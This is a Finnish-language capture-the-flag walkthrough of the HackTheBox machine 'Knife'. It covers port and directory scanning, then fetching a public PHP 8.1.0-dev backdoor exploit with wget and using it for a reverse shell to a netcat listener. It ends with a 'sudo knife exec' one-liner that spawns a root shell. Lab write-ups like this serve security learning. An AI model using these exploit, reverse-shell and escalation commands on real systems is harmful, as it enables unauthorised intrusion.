Ensimmäisenä toimenpiteenä lisätty /etc/hosts -tiedostoon kohteen IP-osoite vastaamaan osoitetta knife.htb
Tiedustelu
Nmap
Nmap-skannauksesta huomataan, että kohteessa on avoinna portit 22 (SSH) ja 80 (HTTP), jossa on käynnissä Apache HTTP-palvelin. Kohteessa on Linux-käyttöjärjestelmä.
nmap -sVC -T4 -p- knife.htb
HTTP
Selaimella aukaistu kohteen osoite: knife.htb. Sivulla ei ole klikattavia linkkejä tai lomakekenttiä.
Gobuster
Gobusterilla tehty hakemistoskannaus osoitteeseen knife.htb. Löytyi vain yksi saatavilla oleva hakemisto: /index.php (etusivu).
gobuster dir -u http://knife.htb/ -w /usr/share/wordlists/dirb/common.txt
Tehty cURL-pyyntö osoitteseen http://knife.htb/index.php. Vastauksen headerista huomataan, että kohde käyttää PHP/8.1.0-dev versiota.
curl -I http://knife.htb/index.php
Haavoittuvuuden hyväksikäyttö
Githubista löydetty PHP/8.1.0-dev backdoor exploit: https://github.com/OliverKeefe/php-8.1.0-dev-backdoor-rce/blob/main/exploit.py
Ladattu Python-skripti hyökkäyskoneelle komennolla:
wget -L https://raw.githubusercontent.com/OliverKeefe/php-8.1.0-dev-backdoor-rce/main/exploit.py
Käynnistetty Netcat-kuuntelija porttiin 4444.
nc -lvnp 4444
Exploit suoritettu komennolla:
python exploit.py --URL http://knife.htb/index.php --RPORT 80 --LHOST 10.10.14.2 --LPORT 4444
Netcat-kuuntelijassa onnistuneesti saatu reverse shell kohteeseen käyttäjänä james.
Otettu Pythonilla Bash shell käyttöön:
python3 -c 'import pty;pty.spawn("/bin/bash")'
User flag löytyi hakemistosta: /home/james.
Oikeuksien kohottaminen
Komennolla sudo -l tarkistettu mitä komentoja käyttäjä james pystyy suorittamaan sudona. Huomataan, että james pystyy suorittamaan sudona ilman salasanaa komennon knife.
Knife manpage: https://manpages.ubuntu.com/manpages/bionic/man1/knife.1.html
Knife mahdollistaa komennon lisäoptiolla exec suorittaa Ruby-skriptejä.
Gtfobins:sta löydetty komento, jolla saa sudo-oikeudet, jos binääri knife on mahdollista suorittaa sudona.
Onnistuneesti saatu root-shell komennolla:
sudo knife exec --exec "exec '/bin/sh -i'"
Root flag löytyi hakemistosta: /root.